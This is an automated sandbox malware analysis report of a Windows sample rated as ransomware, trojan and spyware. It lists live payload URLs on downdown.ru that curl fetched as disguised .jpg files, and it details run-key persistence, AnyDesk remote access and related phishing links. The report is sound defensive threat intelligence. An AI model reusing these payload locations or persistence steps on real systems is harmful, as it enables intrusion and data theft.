https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349551952&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://hbx.media.net/cksync.php?type=nms&cs=3&ovsid=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent=	false		high
https://sync.inmobi.com/oRTB?redirect={PubRedirectUrl}&gdpr=0&gdpr_consent=	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://support.anydesk.com/knowledge/users	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
https://anydesk.com/update	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
https://support.anydesk.com/knowledge/pause-session	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
http://www.pdf-tools.com	eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/checkupdate.phppplications.Modifiers	Trays.exe, 0000002C.00000002.4668789659.00000000009AB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/checkupdate.phpk-minuser-l1-1-0I6	Trays.exe, 0000002C.00000002.4668789659.00000000009AB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/ipr/1526/	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/driver.jpgU)	curl.exe, 00000025.00000002.3523813296.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://policies.google.com/privacy?hl=$	svchost.exe	false		high
https://help.anydesk.com	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/svchost.jpgC:	curl.exe, 00000027.00000002.3575276972.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000002.3575223968.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/wol.jpgs	curl.exe, 00000029.00000002.3607180281.0000000000678000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/dc.jpg;8	curl.exe, 0000002A.00000002.3629795237.0000000001148000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/wol.jpg_V8F	curl.exe, 00000029.00000002.3607180281.0000000000678000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.anydesk.com/knowledge/what-is-full-client-management	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
https://support.anydesk.com/knowledge/account-migration	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
http://downdown.ru/wol.jpgWinsta0	curl.exe, 00000029.00000002.3607180281.0000000000670000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000029.00000002.3607124474.0000000000660000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://help.anydesk.com/	svchost.exe	true	Avira URL Cloud: safe	unknown
http://www.innosetup.com/	driver.exe, 0000002B.00000003.3641776030.0000000002CD0000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/files/4t-min.exe	Trays.exe, 0000002C.00000000.3645400363.0000000000401000.00000020.00000001.01000000.00000008.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray.html	Trays.exe, 0000002C.00000002.4670989848.0000000002538000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.anydesk.com/knowledge/status-anynet_overload	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
https://anydesk.com/contact/sales)	svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/wol.j	eqRHH2whJu.exe, 00000000.00000003.3438748605.000000000224C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/Trays.jpgC:	curl.exe, 00000028.00000002.3600513835.0000000000C50000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000028.00000002.3599658052.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_next.html03R	Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_next.html???????...	Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com	driver.exe, 0000002B.00000002.3643673961.0000000002CB0000.00000004.00001000.00020000.00000000.sdmp, driver.exe, 0000002B.00000003.3641776030.0000000002E33000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000002.4670989848.000000000252A000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000000.3645943147.00000000005A5000.00000002.00000001.01000000.00000008.sdmp, Trays.exe, 0000002C.00000000.3645400363.0000000000401000.00000020.00000001.01000000.00000008.sdmp	true	Avira URL Cloud: safe	unknown
https://anydesk.com/en/assembly	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.4t-niagara.com/checkupdate.phpo	Trays.exe, 0000002C.00000002.4668789659.0000000000974000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://curl.haxx.se/docs/sslcerts.htmlcurl	curl.exe	false		high
http://www.4t-niagara.com/checkupdate.phpr	Trays.exe, 0000002C.00000002.4668789659.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/checkupdate.phpy	Trays.exe, 0000002C.00000002.4668789659.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/ipr/1524/	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://my.anydesk.com/v2	svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.4t-niagara.com/ive	Trays.exe, 0000002C.00000002.4668789659.0000000000974000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://anydesk.com/company#imprint	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
http://downdown.ru/blat.jpgs	curl.exe, 00000026.00000002.3540747331.0000000000C38000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.openssl.org/)	svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk.com/pricing/teams)	svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.4t-niagara.com/checkupdate.phpsu	Trays.exe, 0000002C.00000002.4668789659.000000000096E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_order.html03R	Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://curl.haxx.se/libcurl/c/curl_easy_setopt.html	curl.exe, 0000002A.00000000.3609067604.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	false		high
http://www.4t-niagara.com/tray.html5	Trays.exe, 0000002C.00000002.4668789659.0000000000920000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.gimp.org/xmp/	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk.com/de/datenschutz	svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/svchost.	eqRHH2whJu.exe, 00000000.00000003.3438748605.000000000224C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_order.htmlU	driver.exe, 0000002B.00000003.3641776030.0000000002DC2000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000000.3645400363.0000000000401000.00000020.00000001.01000000.00000008.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_faq.htmlli	Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://my.anydesk.com	svchost.exe	false		high
http://www.blat.net/h	curl.exe, 00000026.00000002.3540986518.0000000000C76000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000003.3539259241.0000000000C76000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000003.3539294021.0000000000C64000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, curl.exe, curl.exe, 00000025.00000000.3491497862.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.3540566793.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.3524892891.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.3541687341.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.3574997298.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000002.3600360843.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000000.3576183351.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000000.3601516466.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000002.3608082906.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000002.3629472747.0000000000AD4000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000000.3609067604.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp, svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
https://anydesk.com/pricing/teams	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
http://www.4t-niagara.com/newsletter.html??????...#	Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_faq.html	driver.exe, 0000002B.00000003.3641776030.0000000002E33000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000002.4670989848.0000000002472000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000000.3645943147.00000000005A5000.00000002.00000001.01000000.00000008.sdmp, Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_next.html.mo	Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://anydesk.com/en/assembly/terms	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.anydesk.com	svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
https://support.anydesk.com/knowledge/waiting-for-image-black-screen	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	false		high
http://downdown.ru/driver.jpgC:	curl.exe, 00000025.00000002.3522499537.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000025.00000002.3523813296.0000000000CA0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.anydesk.com/knowledge/anydesk-for-android-chromeos#troubleshooting	svchost.exe	false		high
http://4t-niagara.com/webimage.html	driver.exe, 0000002B.00000003.3641776030.0000000002E33000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000002C.00000000.3645943147.00000000005A5000.00000002.00000001.01000000.00000008.sdmp	true	Avira URL Cloud: safe	unknown
http://iptc.org/std/Iptc4xmpExt/2008-02-29/	svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002F.00000003.3662473028.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/Trays.jpgWinsta0	curl.exe, 00000028.00000002.3600513835.0000000000C50000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000028.00000002.3599658052.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/blat.jpgWinsta0	curl.exe, 00000026.00000002.3540747331.0000000000C30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000002.3539778752.0000000000870000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray.htmltmll.moh	Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/checkupdate.phpk-minuser-l1-1-0	Trays.exe, 0000002C.00000002.4668789659.00000000009AB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/blat.jpg:%	eqRHH2whJu.exe, 00000000.00000003.3438679657.0000000002244000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray.htmltmll=	Trays.exe, 0000002C.00000002.4668789659.0000000000928000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.dk-soft.org/	driver.exe, 0000002B.00000003.3641776030.0000000002DC2000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/dc.jp	eqRHH2whJu.exe, 00000000.00000003.3438748605.000000000224C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/checkupdate.php03R	Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
57.129.37.28	boot.net.anydesk.com	Belgium	2686	ATGS-MMD-ASUS	false
186.233.187.24	relay-31ee9317.net.anydesk.com	Brazil	262287	MaxihostLTDABR	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.125.51.5	downdown.ru	Russian Federation	207064	INPLATLABS-ASRU	true
94.23.158.211	www.4t-niagara.com	France	16276	OVHFR	false
239.255.102.18	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.11.20
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585989
Start date and time:	2025-01-08 16:15:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	78
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	eqRHH2whJu.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@152/247@5/8
EGA Information:	Successful, ratio: 87.5%
HCA Information:	Successful, ratio: 97% Number of executed functions: 42 Number of non-executed functions: 177
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 23.220.206.61, 23.220.206.29, 23.220.206.69, 23.220.206.14, 23.220.206.53, 23.220.206.48, 23.220.206.65, 23.220.206.57, 23.220.206.70, 23.220.206.52, 23.220.206.74, 23.220.206.32, 13.91.96.185, 199.232.214.172, 23.220.206.63, 23.220.206.23, 172.217.4.67, 142.250.191.99, 172.217.1.99, 142.250.191.195, 20.190.157.13, 13.107.42.16, 13.107.21.237, 23.96.180.189, 13.107.21.239, 23.215.15.167, 204.79.197.237, 23.215.15.153, 23.45.46.26, 20.75.60.91, 23.215.15.170
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, prod-atm-wds-nav.trafficmanager.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, c.msn.com, deff.nelreports.net, ntp.msn.com, nav.smartscreen.microsoft.com, arc.msn.com, acroipm2.adobe.com, dns.msftncsi.com, login.live.com, th.bing.com, a122.dscd.akamai.net, dns.quad9.net, msedge.b.tlu.dl.delivery.mp.microsoft.com, www.gstatic.com, config.edge.skype.com, browser.events.data.msn.com, www.bing.com, assets.msn.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, prod-atm-wds-edge.trafficmanager.net, edge.microsoft.com, prod-agic-wu-1.westus.cloudapp.azure.com, c.bing.com, sb.scorecardresearch.com, api.msn.com
Execution Graph export aborted for target eqRHH2whJu.exe, PID 7676 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: eqRHH2whJu.exe

Simulations

Behavior and APIs

Time	Type	Description
10:18:24	API Interceptor	7x Sleep call for process: Trays.exe modified
10:18:27	API Interceptor	1x Sleep call for process: svchost.exe modified
10:18:31	API Interceptor	1x Sleep call for process: AnyDesk.exe modified
10:18:39	API Interceptor	13x Sleep call for process: powershell.exe modified
16:18:04	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Video Configurations C:\Intel\Trays\trays.lnk
16:18:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Video Configurations C:\Intel\Trays\trays.lnk
16:18:40	Task Scheduler	Run new task: ShutdownAt5AM path: shutdown s>/s /f /t 0
16:18:42	Task Scheduler	Run new task: WakeUpAndLaunchEdge path: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	https://www.google.at/url?sa==60Pms7JnShWaY3TYp1tJfM6oLKC&rct=0GbqKUbKEUOA0yP6gBhAVbg0AlI6i1vFvwuOapuWmP7TbqjETP71sUvBq6eZihhNTt&sa=t&url=amp/growingf8th.org/t2dolalrwe/yNRMR4AUS6ZyXKIlbmuYFZ8PYol/cGF0ZS5yb3dlbGxAY2hlcm9rZWVicmljay5jb20=	Get hash	malicious	Unknown	Browse
	https://u18282959.ct.sendgrid.net/ls/click?upn=u001.rEMfFlpAoJgeimh0eSdetqZJOaDEFgZEM86yJv-2FFqn4BDVcYSBJ7qe3MiIpMf7EHr39f_olH575WPuDKQ6-2BlwfkTb3bEPQyZlspfhjzLUkESeUKdz-2BSLVmhS-2BiNhtE4sjBDlEtszfbsE5c6igxavK3muY3tYeP6QkmX-2BJi-2BaLU6j8Wsp6hQUS9QOYhOuxeiGpmu9xPXTXniG-2FhK47xPzbY2a7dAVr4WH1EaPd9qfgngR-2BS0-2BE0l9vGYKsxljCm-2F3LXvjLQIge-2FSmK3YEyKDG8HCxUjDZIuKEbjKZRrfVUUqiw37aYZrphVQ5WvB0QOlR-2Be2shKtaVihd3RfTtBEd0NyHk9A-3D-3D	Get hash	malicious	Unknown	Browse
	XL-1-6-25-(EXCEL LATEST 2025).html	Get hash	malicious	HTMLPhisher	Browse
	https://mike_precisionsignz_com-dot-mm-event3.appspot.com/em_rVAL3dAGbChDeM11H7vU?url=https://levita-magnetics-inc.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse
	http://ighnjnueuelll.top/1.php?s=mints13%5C	Get hash	malicious	Unknown	Browse
	http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9	Get hash	malicious	Phisher	Browse
	http://wfs.SATSGroup.co/login.php?id=bmZlcmRpbmFuZG9Ad2ZzLmFlcm8=	Get hash	malicious	Unknown	Browse
	https://url.uk.m.mimecastprotect.com/s/jiGQCnr5DH7GvmPu9fVSJcV9l?domain=wfs.satsgroup.co	Get hash	malicious	Unknown	Browse
	Selvi Payroll Benefits & Bonus Agreementfdp.pdf	Get hash	malicious	Unknown	Browse
	https://e.trustifi.com/#/fff2a0/670719/6dc158/ef68bf/5e1243/19ce62/f4cd99/c6b84a/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d78873/cd64d0/869af2/e9ab57/7015c1/91dda7/f34c0a/f30b47/688cba/a1d645/18dc79/33d9f9/9ee0a0/c61099/8f2456/8e1864/996369/790047/a93a09/347b17/38082d/363d49/f88c07/81bae2/57a7bb/6027c6/942952/b2de1b/e98aef/6a05c2/91297b/c70871/7f29c3/0a450d/ad0cac/967c2a/e7cb67/6e1193/8c4088/13aef1/e1d296/5056d4/51a97e/89a35b/c13e69/fa274a/5b7c2e/a8c901/02856f/1e0211/03ca84/d7b573/7e0de3/e2bdbb/7cab47/4dd465/addb41/2076e1/85559c/dbcb2d/514505/a6a54e/41e864/abb5a5/e59e4b/8c2df6/7e5cf3/b648da/8fbd98/4c7d8a/08e6a3/72f66f/a49cc6/18211b/1e6a5c/0d4fde	Get hash	malicious	HTMLPhisher	Browse
239.255.102.18	SecuriteInfo.com.Program.RemoteAdminNET.1.22990.5900.msi	Get hash	malicious	AteraAgent	Browse
239.255.102.18	92f25a21-b9c1-4aee-af3e-cacf098605e9	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
boot.net.anydesk.com	https://mailustabucaedu-my.sharepoint.com/:u:/g/personal/stella_pabon_ustabuca_edu_co/EWCk8BqICKBBrExz32n-PvYBCVoLK4PToNCGKPT0vElGYg?e=w0tQWE	Get hash	malicious	Unknown	Browse	92.223.88.232
	_AnyDesk.exe_	Get hash	malicious	Unknown	Browse	57.128.101.75
	f_0002b5.exe	Get hash	malicious	Unknown	Browse	57.128.101.74
	f_0002b5.exe	Get hash	malicious	Unknown	Browse	195.181.174.167
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	185.229.191.39
	http://116.0.56.101:9191/images/Distribution.exe	Get hash	malicious	Unknown	Browse	49.12.130.235
	SysrI6zSkJ.exe	Get hash	malicious	RedLine	Browse	37.59.29.33
	SysrI6zSkJ.exe	Get hash	malicious	RedLine	Browse	185.229.191.44
	AnyDesk.exe	Get hash	malicious	Unknown	Browse	141.95.145.210

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MaxihostLTDABR	nklsh4.elf	Get hash	malicious	Unknown	Browse	168.81.206.223
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	45.94.25.248
	m-p.s-l.ISIS.elf	Get hash	malicious	Gafgyt	Browse	185.78.76.132
	i-5.8-6.ISIS.elf	Get hash	malicious	Gafgyt	Browse	185.78.76.132
	x-8.6-.ISIS.elf	Get hash	malicious	Gafgyt	Browse	185.78.76.132
	a-r.m-6.ISIS.elf	Get hash	malicious	Gafgyt	Browse	185.78.76.132
	m-6.8-k.ISIS.elf	Get hash	malicious	Gafgyt	Browse	185.78.76.132
	m-i.p-s.ISIS.elf	Get hash	malicious	Gafgyt	Browse	185.78.76.132
	s-h.4-.ISIS.elf	Get hash	malicious	Gafgyt	Browse	185.78.76.132
